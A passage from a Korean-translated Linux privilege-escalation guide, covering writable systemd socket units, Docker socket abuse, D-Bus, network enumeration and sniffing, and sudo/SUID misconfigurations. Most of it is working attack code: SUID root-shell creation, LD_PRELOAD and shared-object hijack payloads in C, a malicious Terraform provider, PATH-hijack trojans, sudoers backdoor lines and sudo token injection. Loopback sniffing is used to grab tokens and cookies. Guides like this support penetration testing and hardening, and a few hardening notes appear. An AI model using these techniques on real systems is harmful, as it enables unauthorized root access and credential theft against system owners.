제거되기 전 또는 후에 실행되는 추가 명령들입니다.Service: 들어오는 트래픽이 있을 때 활성화할 service unit 이름을 지정합니다. 이 설정은 Accept=no인 sockets에서만 허용됩니다. 기본값은 소켓과 같은 이름을 가진 service (접미사가 교체된 것)입니다. 대부분의 경우 이 옵션을 사용할 필요가 없습니다.
Writable .socket files
If you find a 쓰기 권한이 있는 .socket file you can 추가 at the beginning of the [Socket] section something like: ExecStartPre=/home/kali/sys/backdoor and the backdoor will be executed before the socket is created. Therefore, you will 아마도 머신을 재부팅할 때까지 기다려야 할 것입니다.
시스템이 해당 socket 파일 구성을 사용하고 있어야 하며, 그렇지 않으면 backdoor가 실행되지 않습니다
Socket activation + writable unit path (create missing service)
Another high-impact misconfiguration is:
Accept=no및Service=<name>.service를 가진 socket unit- 참조된 service unit이 없음
- 공격자가
/etc/systemd/system(또는 다른 unit 검색 경로)에 쓸 수 있음
In that case, the attacker can create <name>.service, then trigger traffic to the socket so systemd loads and executes the new service as root.
간단한 흐름:
systemctl cat vuln.socket
# [Socket]
# Accept=no
# Service=vuln.service
cat >/etc/systemd/system/vuln.service <<'EOF'
[Service]
Type=oneshot
ExecStart=/bin/bash -c 'cp /bin/bash /var/tmp/rootbash && chmod 4755 /var/tmp/rootbash'
EOF
nc -q0 127.0.0.1 9999
/var/tmp/rootbash -p
쓰기 가능한 sockets
만약 어떤 writable socket이라도 식별한다면 (지금 말하는 것은 Unix Sockets이며 config .socket 파일이 아닙니다), 해당 socket과 통신할 수 있으며 취약점을 악용할 수도 있습니다.
Unix Sockets 열거
netstat -a -p --unix
원시 연결
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
Exploitation example:
HTTP sockets
일부 sockets listening for HTTP 요청이 있을 수 있습니다 (여기서 말하는 것은 .socket 파일이 아니라 unix sockets로 동작하는 파일들입니다). 다음 명령으로 확인할 수 있습니다:
curl --max-time 2 --unix-socket /path/to/socket/file http://localhost/
소켓이 HTTP 요청에 응답한다면, 해당 소켓과 통신할 수 있고 어쩌면 exploit some vulnerability.
쓰기 가능한 Docker Socket
The Docker socket, often found at /var/run/docker.sock, is a critical file that should be secured. 기본적으로, /var/run/docker.sock은 보통 시스템에 위치하며 반드시 보호되어야 하는 중요한 파일입니다. 기본적으로 root 사용자와 docker 그룹의 구성원이 쓰기 권한을 가집니다. 이 소켓에 대한 쓰기 권한을 가지면 privilege escalation으로 이어질 수 있습니다. 아래는 이를 수행하는 방법과 Docker CLI를 사용할 수 없을 때의 대체 방법에 대한 설명입니다.
Privilege Escalation with Docker CLI
Docker socket에 대한 쓰기 권한이 있다면, 다음 명령들을 사용해 privilege escalation을 수행할 수 있습니다:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
이 명령들은 호스트의 파일 시스템에 대해 root 수준의 접근 권한을 가진 컨테이너를 실행할 수 있게 해줍니다.
Docker API 직접 사용
Docker CLI를 사용할 수 없는 경우에도 Docker 소켓은 Docker API와 curl 명령으로 조작할 수 있습니다.
- Docker 이미지 목록: 사용 가능한 이미지 목록을 가져옵니다.
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
- 컨테이너 생성: 호스트 시스템의 루트 디렉터리를 마운트하는 컨테이너를 생성하는 요청을 보냅니다.
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
새로 생성한 컨테이너를 시작합니다:
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
- 컨테이너에 연결:
socat을 사용해 컨테이너에 연결을 설정하여 그 안에서 명령을 실행할 수 있게 합니다.
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
socat 연결을 설정한 후에는 호스트 파일 시스템에 대한 root 수준의 접근 권한으로 컨테이너 내에서 직접 명령을 실행할 수 있습니다.
기타
docker 소켓에 대해 쓰기 권한이 있고 그 이유가 **inside the group docker**에 속해 있기 때문이라면 more ways to escalate privileges를 확인하세요. 또한 docker API is listening in a port you can also be able to compromise it라면 해당 API를 공격할 수도 있습니다.
컨테이너에서 벗어나거나 컨테이너 런타임을 악용해 권한 상승을 하는 다른 방법들은 다음을 확인하세요:
Containerd (ctr) 권한 상승
만약 ctr 명령을 사용할 수 있다면 다음 페이지를 읽어보세요 — 권한 상승에 악용할 수 있을 수 있습니다:
Containerd (ctr) Privilege Escalation
RunC 권한 상승
만약 runc 명령을 사용할 수 있다면 다음 페이지를 읽어보세요 — 권한 상승에 악용할 수 있을 수 있습니다:
D-Bus
D-Bus는 애플리케이션들이 효율적으로 상호작용하고 데이터를 공유할 수 있게 해주는 정교한 inter-Process Communication (IPC) system입니다. 현대 Linux 시스템을 염두에 두고 설계되어, 다양한 형태의 애플리케이션 통신을 위한 견고한 프레임워크를 제공합니다.
이 시스템은 기본적인 IPC를 지원하여 프로세스 간 데이터 교환을 향상시키며, 이는 enhanced UNIX domain sockets를 연상시킵니다. 또한 이벤트나 신호의 브로드캐스트를 도와 시스템 구성 요소 간의 원활한 통합을 촉진합니다. 예를 들어, Bluetooth 데몬의 수신 전화에 대한 신호가 음악 플레이어를 음소거하도록 할 수 있습니다. 추가로 D-Bus는 원격 객체 시스템을 지원하여 애플리케이션 간 서비스 요청과 메서드 호출을 단순화해 전통적으로 복잡했던 과정을 간소화합니다.
D-Bus는 allow/deny model로 동작하며, 매칭되는 정책 규칙들의 누적 효과에 따라 메시지 권한(메서드 호출, 신호 전송 등)을 관리합니다. 이러한 정책들은 버스와의 상호작용을 지정하며, 이 권한들을 악용해 권한 상승이 발생할 수 있습니다.
예를 들어 /etc/dbus-1/system.d/wpa_supplicant.conf에 있는 이러한 정책의 예는 root 사용자가 fi.w1.wpa_supplicant1을 소유하고 해당 객체에 메시지를 보내고 받을 수 있는 권한을 자세히 설명합니다.
사용자나 그룹이 지정되지 않은 정책은 모두에 적용되며, “default” 컨텍스트 정책은 다른 특정 정책에 포함되지 않는 모든 항목에 적용됩니다.
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
여기에서 D-Bus 통신을 enumerate하고 exploit하는 방법을 배우세요:
D-Bus Enumeration & Command Injection Privilege Escalation
네트워크
네트워크를 enumerate해서 머신의 위치를 파악하는 것은 항상 흥미롭습니다.
Generic enumeration
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
#NSS resolution order (hosts file vs DNS)
grep -E '^(hosts|networks):' /etc/nsswitch.conf
getent hosts localhost
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
#Interfaces
cat /etc/networks
(ifconfig || ip a)
(ip -br addr || ip addr show)
#Routes and policy routing (pivot paths)
ip route
ip -6 route
ip rule
ip route get 1.1.1.1
#L2 neighbours
(arp -e || arp -a || ip neigh)
#Neighbours
(arp -e || arp -a)
(route || ip n)
#L2 topology (VLANs/bridges/bonds)
ip -d link
bridge link 2>/dev/null
#Network namespaces (hidden interfaces/routes in containers)
ip netns list 2>/dev/null
ls /var/run/netns/ 2>/dev/null
nsenter --net=/proc/1/ns/net ip a 2>/dev/null
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#nftables and firewall wrappers (modern hosts)
sudo nft list ruleset 2>/dev/null
sudo nft list ruleset -a 2>/dev/null
sudo ufw status verbose 2>/dev/null
sudo firewall-cmd --state 2>/dev/null
sudo firewall-cmd --list-all 2>/dev/null
#Forwarding / asymmetric routing / conntrack state
sysctl net.ipv4.ip_forward net.ipv6.conf.all.forwarding net.ipv4.conf.all.rp_filter 2>/dev/null
sudo conntrack -L 2>/dev/null | head -n 20
#Files used by network services
lsof -i
아웃바운드 필터링 신속 진단
호스트가 명령을 실행할 수 있으나 callbacks가 실패한다면, DNS, transport, proxy, route 필터링을 빠르게 구분하세요:
# DNS over UDP and TCP (TCP fallback often survives UDP/53 filters)
dig +time=2 +tries=1 @1.1.1.1 google.com A
dig +tcp +time=2 +tries=1 @1.1.1.1 google.com A
# Common outbound ports
for p in 22 25 53 80 443 587 8080 8443; do nc -vz -w3 example.org "$p"; done
# Route/path clue for 443 filtering
sudo traceroute -T -p 443 example.org 2>/dev/null || true
# Proxy-enforced environments and remote-DNS SOCKS testing
env | grep -iE '^(http|https|ftp|all)_proxy|no_proxy'
curl --socks5-hostname <ip>:1080 https://ifconfig.me
Open ports
항상 액세스하기 전에 이전에 상호작용할 수 없었던 머신에서 실행 중인 네트워크 서비스를 확인하세요:
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
ss -tulpn
#Quick view of local bind addresses (great for hidden/isolated interfaces)
ss -tulpn | awk '{print $5}' | sort -u
Classify listeners by bind target:
0.0.0.0/[::]: 모든 로컬 인터페이스에 노출됨.127.0.0.1/::1: 로컬 전용 (터널/포워딩 후보로 적합).- Specific internal IPs (e.g.
10.x,172.16/12,192.168.x,fe80::): 보통 내부 네트워크 세그먼트에서만 도달 가능.
Local-only service triage workflow
호스트를 compromise하면, 127.0.0.1에 바인드된 services가 셸에서 처음으로 접근 가능해지는 경우가 많습니다. 빠른 로컬 워크플로우는 다음과 같습니다:
# 1) Find local listeners
ss -tulnp
# 2) Discover open localhost TCP ports
nmap -Pn --open -p- 127.0.0.1
# 3) Fingerprint only discovered ports
nmap -Pn -sV -p <ports> 127.0.0.1
# 4) Manually interact / banner grab
nc 127.0.0.1 <port>
printf 'HELP\r\n' | nc 127.0.0.1 <port>
LinPEAS를 네트워크 스캐너로 사용하기 (network-only mode)
로컬 PE 검사 외에도 linPEAS는 집중된 네트워크 스캐너로 실행할 수 있습니다. $PATH에 있는 사용 가능한 바이너리(일반적으로 fping, ping, nc, ncat)를 사용하며 도구를 설치하지 않습니다.
# Auto-discover subnets + hosts + quick ports
./linpeas.sh -t
# Host discovery in CIDR
./linpeas.sh -d 10.10.10.0/24
# Host discovery + custom ports
./linpeas.sh -d 10.10.10.0/24 -p 22,80,443
# Scan one IP (default/common ports)
./linpeas.sh -i 10.10.10.20
# Scan one IP with selected ports
./linpeas.sh -i 10.10.10.20 -p 21,22,80,443
If you pass -d, -p, or -i without -t, linPEAS behaves as a pure network scanner (skipping the rest of privilege-escalation checks).
Sniffing
sniff traffic를 할 수 있는지 확인하세요. 가능하면 일부 credentials를 획득할 수 있습니다.
timeout 1 tcpdump
빠른 실전 점검:
#Can I capture without full sudo?
which dumpcap && getcap "$(which dumpcap)"
#Find capture interfaces
tcpdump -D
ip -br addr
Loopback (lo)은 post-exploitation에서 특히 가치가 있습니다. 많은 internal-only 서비스들이 그곳에 tokens/cookies/credentials를 노출하기 때문입니다:
sudo tcpdump -i lo -s 0 -A -n 'tcp port 80 or 8000 or 8080' \
| egrep -i 'authorization:|cookie:|set-cookie:|x-api-key|bearer|token|csrf'
지금 캡처하고, 나중에 파싱:
sudo tcpdump -i any -s 0 -n -w /tmp/capture.pcap
tshark -r /tmp/capture.pcap -Y http.request \
-T fields -e frame.time -e ip.src -e http.host -e http.request.uri
Users
Generic Enumeration
시스템에서 자신이 who인지, 어떤 privileges를 가지고 있는지, 어떤 users가 있는지, 누가 login할 수 있는지, 누가 root privileges를 가지고 있는지 확인하세요:
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
who
w
#Only usernames
users
#Login history
last | tail
#Last log of each user
lastlog2 2>/dev/null || lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
큰 UID
일부 Linux 버전은 UID > INT_MAX 인 사용자가 권한을 상승할 수 있게 하는 버그의 영향을 받았습니다. 자세한 정보: here, here and here.
Exploit it using: systemd-run -t /bin/bash
그룹
root 권한을 부여할 수 있는 그룹의 멤버인지 확인하세요:
Interesting Groups - Linux Privesc
클립보드
가능하다면 클립보드에 흥미로운 내용이 있는지 확인하세요
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
비밀번호 정책
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
알려진 비밀번호
환경의 비밀번호를 알고 있다면, 그 비밀번호를 사용해 각 사용자로 로그인해 보세요.
Su Brute
많은 노이즈를 발생시키는 것을 개의치 않고 su와 timeout 바이너리가 컴퓨터에 존재한다면, su-bruteforce를 사용해 사용자를 brute-force해볼 수 있습니다.
Linpeas는 -a 파라미터로 사용자 brute-force도 시도합니다.
쓰기 가능한 PATH 악용
$PATH
만약 $PATH의 어떤 폴더에 쓰기할 수 있다면 권한을 상승시킬 수 있습니다: 쓰기 가능한 폴더 안에 backdoor를 생성하고, 그 파일명을 다른 사용자가(이상적으로는 root가) 실행할 명령어 이름으로 설정하세요. 단, 그 명령어가 $PATH 내에서 당신의 쓰기 가능한 폴더보다 앞선 폴더에서 로드되지 않아야 합니다.
SUDO and SUID
sudo로 일부 명령을 실행할 수 있거나, 파일에 suid 비트가 설정되어 있을 수 있습니다. 다음을 사용해 확인하세요:
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
일부 예상치 못한 명령은 파일을 읽거나 쓰거나 심지어 명령을 실행할 수 있게 합니다. 예를 들어:
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
NOPASSWD
Sudo 구성이 사용자가 비밀번호를 모른 채 다른 사용자의 권한으로 어떤 명령을 실행하도록 허용할 수 있다.
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
이 예에서 사용자 demo는 root로 vim을 실행할 수 있으므로, root 디렉토리에 ssh key를 추가하거나 sh를 호출하면 shell을 얻는 것은 이제 간단합니다.
sudo vim -c '!sh'
SETENV
이 지시어는 사용자가 무언가를 실행하는 동안 환경 변수를 설정할 수 있도록 합니다:
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
이 예제는 based on HTB machine Admirer를 기반으로 하며, 스크립트를 root로 실행하는 동안 임의의 python library를 로드하기 위해 PYTHONPATH hijacking에 취약했습니다:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
BASH_ENV가 sudo env_keep를 통해 보존됨 → root shell
If sudoers preserves BASH_ENV (e.g., Defaults env_keep+="ENV BASH_ENV"), you can leverage Bash’s non-interactive startup behavior to run arbitrary code as root when invoking an allowed command.
-
Why it works: 비대화형 셸의 경우, Bash는
$BASH_ENV를 평가하고 대상 스크립트를 실행하기 전에 해당 파일을 source합니다. 많은 sudo 규칙은 스크립트나 셸 래퍼를 실행하도록 허용합니다.BASH_ENV가 sudo에 의해 보존되면, 당신의 파일이 root 권한으로 source됩니다. -
Requirements:
-
실행할 수 있는 sudo 규칙 (비대화형으로
/bin/bash를 호출하는 대상이나, 임의의 bash 스크립트). -
BASH_ENV가env_keep에 존재 (sudo -l로 확인). -
PoC:
cat > /dev/shm/shell.sh <<'EOF'
#!/bin/bash
/bin/bash
EOF
chmod +x /dev/shm/shell.sh
BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash
# You should now have a root shell
- Hardening:
env_keep에서BASH_ENV(및ENV)를 제거하고,env_reset를 선호하세요.- sudo-allowed 명령에 대한 shell wrappers를 피하고, minimal binaries를 사용하세요.
- 보존된 env vars가 사용될 때 sudo I/O 로깅 및 경고를 고려하세요.
sudo로 HOME가 보존된 상태에서의 Terraform (!env_reset)
If sudo leaves the environment intact (!env_reset) while allowing terraform apply, $HOME stays as the calling user. Terraform therefore loads $HOME/.terraformrc as root and honors provider_installation.dev_overrides.
- 필요한 provider를 쓰기 가능한 디렉토리로 지정하고, 프로바이더 이름의 악성 플러그인(예:
terraform-provider-examples)을 배치하세요:
# ~/.terraformrc
provider_installation {
dev_overrides {
"previous.htb/terraform/examples" = "/dev/shm"
}
direct {}
}
cat >/dev/shm/terraform-provider-examples <<'EOF'
#!/bin/bash
cp /bin/bash /var/tmp/rootsh
chown root:root /var/tmp/rootsh
chmod 6777 /var/tmp/rootsh
EOF
chmod +x /dev/shm/terraform-provider-examples
sudo /usr/bin/terraform -chdir=/opt/examples apply
Terraform는 Go plugin handshake를 실패시키지만, 종료하기 전에 payload를 root로 실행하여 SUID shell을 남깁니다.
TF_VAR 재정의 + symlink 검증 우회
Terraform 변수는 TF_VAR_<name> 환경 변수로 제공할 수 있으며, sudo가 환경을 보존할 때 이 값들이 유지됩니다. strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")와 같은 약한 검증은 symlink로 우회할 수 있습니다:
mkdir -p /dev/shm/root/examples
ln -s /root/root.txt /dev/shm/root/examples/flag
TF_VAR_source_path=/dev/shm/root/examples/flag sudo /usr/bin/terraform -chdir=/opt/examples apply
cat /home/$USER/docker/previous/public/examples/flag
Terraform은 심볼릭 링크를 해제해 실제 /root/root.txt를 공격자가 읽을 수 있는 위치로 복사합니다. 동일한 방식으로 대상 심볼릭 링크를 미리 만들어(예: 프로바이더의 대상 경로를 /etc/cron.d/ 내부로 가리키게) 권한 있는 경로에 쓰기를 할 수 있습니다.
requiretty / !requiretty
일부 오래된 배포판에서는 sudo가 requiretty로 구성될 수 있으며, 이는 sudo를 상호작용형 TTY에서만 실행하도록 강제합니다. !requiretty가 설정되어 있거나(또는 옵션이 없는 경우) sudo는 reverse shells, cron jobs, 또는 scripts와 같은 비대화형 컨텍스트에서 실행될 수 있습니다.
Defaults !requiretty
이것 자체는 직접적인 취약점은 아니지만, 전체 PTY가 필요하지 않은 상황에서 sudo 규칙이 악용될 수 있는 경우를 확장합니다.
Sudo env_keep+=PATH / insecure secure_path → PATH hijack
If sudo -l shows env_keep+=PATH or a secure_path containing attacker-writable entries (e.g., /home/<user>/bin), any relative command inside the sudo-allowed target can be shadowed.
- 요구사항: 절대 경로 없이 명령을 호출하는 스크립트/바이너리(종종
NOPASSWD로 설정된 sudo 규칙)가 존재하고, 먼저 검색되는 쓰기 가능한 PATH 항목이 있어야 합니다(free,df,ps등).
cat > ~/bin/free <<'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
chmod +x ~/bin/free
sudo /usr/local/bin/system_status.sh # calls free → runs our trojan
bash -p # root shell via SUID bit
Sudo 실행 우회 경로
Jump 하여 다른 파일을 읽거나 symlinks를 사용하세요. 예: sudoers 파일에서: hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
만약 wildcard가 사용된다면 (*), 훨씬 더 쉽습니다:
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
대응책: https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
Sudo 명령/SUID 바이너리 (명령 경로 없음)
만약 sudo permission이 단일 명령에 대해 경로를 지정하지 않고 부여되어 있다면: hacker10 ALL= (root) less PATH variable을 변경하여 이를 악용할 수 있다.
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
이 기술은 suid 바이너리 경로를 지정하지 않고 다른 명령을 실행할 때(확인을 위해 항상 strings 로 이상한 SUID 바이너리의 내용을 확인하세요))에도 사용할 수 있습니다.
SUID 바이너리 (명령 경로 지정됨)
만약 suid 바이너리가 경로를 지정하여 다른 명령을 실행한다면, 그 경우 suid 파일이 호출하는 명령 이름으로 export a function을 시도해볼 수 있습니다.
예를 들어, suid 바이너리가 /usr/sbin/service apache2 start 를 호출한다면, 해당 함수를 생성하고 export 해보아야 합니다:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
그런 다음 suid 바이너리를 호출하면 이 함수가 실행됩니다
SUID 래퍼에 의해 실행되는 쓰기 가능한 스크립트
일반적인 커스텀 앱의 잘못된 설정은 script를 실행하는 root 소유의 SUID 바이너리 래퍼가 있고, 그 script 자체는 low-priv users가 쓰기 가능한 경우입니다.
Typical pattern:
int main(void) {
system("/bin/bash /usr/local/bin/backup.sh");
}
만약 /usr/local/bin/backup.sh가 쓰기 가능하면, payload 명령을 추가한 후 SUID wrapper를 실행할 수 있습니다:
echo 'cp /bin/bash /var/tmp/rootbash; chmod 4755 /var/tmp/rootbash' >> /usr/local/bin/backup.sh
/usr/local/bin/backup_wrap
/var/tmp/rootbash -p
빠른 점검:
find / -perm -4000 -type f 2>/dev/null
strings /path/to/suid_wrapper | grep -E '/bin/bash|\\.sh'
ls -l /usr/local/bin/backup.sh
이 공격 경로는 /usr/local/bin에 배포된 “maintenance”/“backup” wrapper에서 특히 흔합니다.
LD_PRELOAD & LD_LIBRARY_PATH
LD_PRELOAD 환경 변수는 하나 이상의 공유 라이브러리(.so 파일)를 표준 C 라이브러리(libc.so)를 포함한 다른 모든 것보다 먼저 로더가 로드하도록 지정하는 데 사용됩니다. 이 과정을 라이브러리 프리로딩(preloading)이라고 합니다.
그러나 시스템 보안을 유지하고 특히 suid/sgid 실행 파일에서 이 기능의 악용을 방지하기 위해, 시스템은 특정 조건을 적용합니다:
- 실제 사용자 ID (ruid)가 유효 사용자 ID (euid)와 일치하지 않는 실행 파일에 대해서는 로더가 LD_PRELOAD를 무시합니다.
- suid/sgid가 설정된 실행 파일의 경우, 표준 경로에 있으며 또한 suid/sgid로 설정된 라이브러리만 프리로딩됩니다.
만약 sudo로 명령을 실행할 수 있고 sudo -l의 출력에 env_keep+=LD_PRELOAD 문구가 포함되어 있다면 권한 상승이 발생할 수 있습니다. 이 설정은 명령을 sudo로 실행할 때도 LD_PRELOAD 환경 변수가 유지되어 인식되도록 허용하므로, 잠재적으로 권한이 상승된 상태에서 임의 코드 실행으로 이어질 수 있습니다.
Defaults env_keep += LD_PRELOAD
다음 이름으로 저장: /tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
그런 다음 컴파일하세요:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
마지막으로, escalate privileges 실행
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
Caution
공격자가 LD_LIBRARY_PATH env variable을 제어하면 유사한 privesc가 악용될 수 있다. 이는 그가 라이브러리를 검색할 경로를 제어하기 때문이다.
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
SUID Binary – .so injection
정상적이지 않아 보이는 SUID 권한을 가진 바이너리를 발견하면, 해당 바이너리가 .so 파일을 제대로 로드하는지 확인하는 것이 좋습니다. 다음 명령을 실행하여 확인할 수 있습니다:
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
예를 들어, _“open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)”_와 같은 오류가 발생하면 잠재적인 exploit 가능성이 있음을 시사합니다.
이를 exploit하기 위해, “/path/to/.config/libcalc.c” 같은 C 파일을 생성하고 다음 코드를 포함시킵니다:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
이 코드는 컴파일되어 실행되면 파일 권한을 조작하고 권한이 상승된 shell을 실행하여 권한을 상승시키는 것을 목표로 합니다.
위의 C 파일을 다음 명령으로 공유 객체(.so) 파일로 컴파일하세요:
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
마지막으로, 영향을 받은 SUID 바이너리를 실행하면 익스플로잇이 트리거되어 시스템 침해가 발생할 수 있습니다.
Shared Object Hijacking
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
이제 우리가 쓰기 가능한 폴더에서 라이브러리를 로드하는 SUID binary를 찾았으니, 해당 폴더에 필요한 이름으로 라이브러리를 생성합시다:
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
다음과 같은 오류가 발생하면
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
that means that the library you have generated need to have a function called a_function_name.
GTFOBins
GTFOBins은 로컬 보안 제약을 우회하기 위해 공격자가 악용할 수 있는 Unix 바이너리들의 큐레이션된 목록입니다. GTFOArgs는 명령에서 오직 인자만 주입할 수 있는 경우를 위한 동일한 프로젝트입니다.
이 프로젝트는 Unix 바이너리의 정당한 기능들을 수집하며, 이를 악용해 제한된 셸을 탈출하거나, 권한을 상승 또는 유지하거나, 파일을 전송하거나, bind and reverse shells를 생성하거나, 다른 post-exploitation 작업들을 용이하게 할 수 있습니다.
gdb -nx -ex ‘!sh’ -ex quit
sudo mysql -e ‘! /bin/sh’
strace -o /dev/null /bin/sh
sudo awk ‘BEGIN {system(“/bin/sh”)}’
FallOfSudo
If you can access sudo -l you can use the tool FallOfSudo to check if it finds how to exploit any sudo rule.
Reusing Sudo Tokens
In cases where you have sudo access but not the password, you can escalate privileges by waiting for a sudo command execution and then hijacking the session token.
Requirements to escalate privileges:
- You already have a shell as user “sampleuser”
- “sampleuser” have used
sudoto execute something in the last 15mins (by default that’s the duration of the sudo token that allows us to usesudowithout introducing any password) cat /proc/sys/kernel/yama/ptrace_scopeis 0gdbis accessible (you can be able to upload it)
(You can temporarily enable ptrace_scope with echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope or permanently modifying /etc/sysctl.d/10-ptrace.conf and setting kernel.yama.ptrace_scope = 0)
If all these requirements are met, you can escalate privileges using: https://github.com/nongiach/sudo_inject
- The first exploit (
exploit.sh) will create the binaryactivate_sudo_tokenin /tmp. You can use it to activate the sudo token in your session (you won’t get automatically a root shell, dosudo su):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
- 두 번째 exploit (
exploit_v2.sh)는 _/tmp_에 sh shell을 생성하여 root가 소유하고 setuid가 설정된 상태로 만든다
bash exploit_v2.sh
/tmp/sh -p
- 세 번째 exploit (
exploit_v3.sh)는 sudoers file을 생성하여 sudo tokens를 영구화하고 모든 사용자가 sudo를 사용할 수 있게 합니다
bash exploit_v3.sh
sudo su
/var/run/sudo/ts/<Username>
해당 폴더 또는 폴더 안에 생성된 파일들에 대해 쓰기 권한이 있는 경우, 바이너리 write_sudo_token을 사용하여 사용자와 PID에 대한 sudo 토큰을 생성할 수 있습니다.
예를 들어, 파일 _/var/run/sudo/ts/sampleuser_을(를) 덮어쓸 수 있고 해당 사용자로 PID 1234인 셸을 가지고 있다면, 비밀번호를 알 필요 없이 다음을 수행하여 sudo 권한을 획득할 수 있습니다:
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
/etc/sudoers, /etc/sudoers.d
/etc/sudoers 파일과 /etc/sudoers.d 내부의 파일들은 누가 sudo를 어떻게 사용할 수 있는지를 설정합니다. 이 파일들은 기본적으로 사용자 root와 그룹 root만 읽을 수 있습니다.\ 만약 이 파일을 읽을 수 있다면 흥미로운 정보를 얻을 수 있고, 만약 어떤 파일이든 쓸 수 있다면 escalate privileges할 수 있습니다.
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
쓰기 권한이 있으면 이 권한을 악용할 수 있다.
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
이러한 권한을 악용하는 또 다른 방법:
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
DOAS
sudo 바이너리에 대한 몇 가지 대안으로 OpenBSD용 doas 등이 있으니, /etc/doas.conf에서 설정을 확인하세요.
